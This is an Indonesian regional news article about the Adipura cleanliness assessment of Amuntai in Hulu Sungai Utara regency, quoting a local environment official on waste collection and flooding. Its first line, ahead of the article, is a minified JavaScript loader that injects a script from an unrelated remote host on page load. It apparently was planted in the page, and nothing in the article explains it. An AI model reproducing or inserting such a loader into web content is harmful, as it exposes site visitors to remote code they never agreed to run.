(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Setelah memperoleh predikat Adipura kategori kota kecil pada tahun 2022, Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya meningkatkan kebersihan dan keindahan kota.
Kota Amuntai kembali menerima kunjungan Tim Penilai Adipura dari Kementerian Lingkungan Hidup dan Kehutanan (KLHK) RI dan Dinas Lingkungan Hidup Provinsi Kalimantan Selatan pada 21-22 Januari 2024.
Kepala Dinas Perumahan Rakyat dan Kawasan Pemukiman Lingkungan Hidup (Disperkim LH) HSU, Hermani Johan mengatakan, Disperkim LH HSU sudah berupaya optimal dan mengajak masyarakat memelihara kebersihan lingkungan, serta terkait pengelolaan sampah dengan baik.
Baca juga: Dari Debat Cawapres, Walhi Sebut Isu Lingkungan Dipinggirkan
Kendati beberapa kawasan sempat terdampak banjir, Hermani mengakui proses penilaian dari tim penilaian Adipura berjalan lancar terhadap beberapa titik pantau.
“Menjadi salah satu tantangan bagi kita menghadapi permasalahan banjir,” beber Hermani Johan kepada kanalkalimantan.com, Rabu (24/1/2024).
Titik pantau penilaian meliputi sekolah, pasar, Puskesmas, rumah sakit, jalan protokol, dan area perkantoran.
Baca juga: Perlancar Aktivitas Warga Tiga Daerah, Jembatan Sahbirin Noor Diresmikan
Selanjutnya, Ruang Terbuka Hijau (RTH), TPA, TPS, termasuk depo pilah sampah, dan fasilitas pengelolaan sampah , serta beberapa titik lain penilaian.
Meski dipengaruhi faktor alam seperti banjir, Hermani mengharapkan penilaian Adipura menjadi pemicu peningkatan pengelolaan sampah dan pemeliharaan lingkungan bersama masyarakat.
“Kita berharap hasilnya sesuai dengan apa yang kita inginkan,” imbuhnya.
Baca juga: Dua Bulan 18 Kasus Narkoba, 164 Gram Sabu Dimusnahkan
Disperkim LH mengimbau kepada masyarakat agar tidak hanya membuang sampah pada tempatnya tetapi juga dapat membuang sampah sesuai dengan waktu ketentuanya, sehingga proses pengangkutan sampah oleh petugas kebersihan ke TPA sesuai ketentuan.
“Besar harapan kita untuk masyarakat, terutama terkait pengangkutan sampah, kita kan sudah aturannya, artinya jika membuang sampah pada sore hari, maka paling lambat jam tujuh pagi harus dikeluarkan dari rumah, nanti petugas kita yang mengambil,” pungkasnya.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.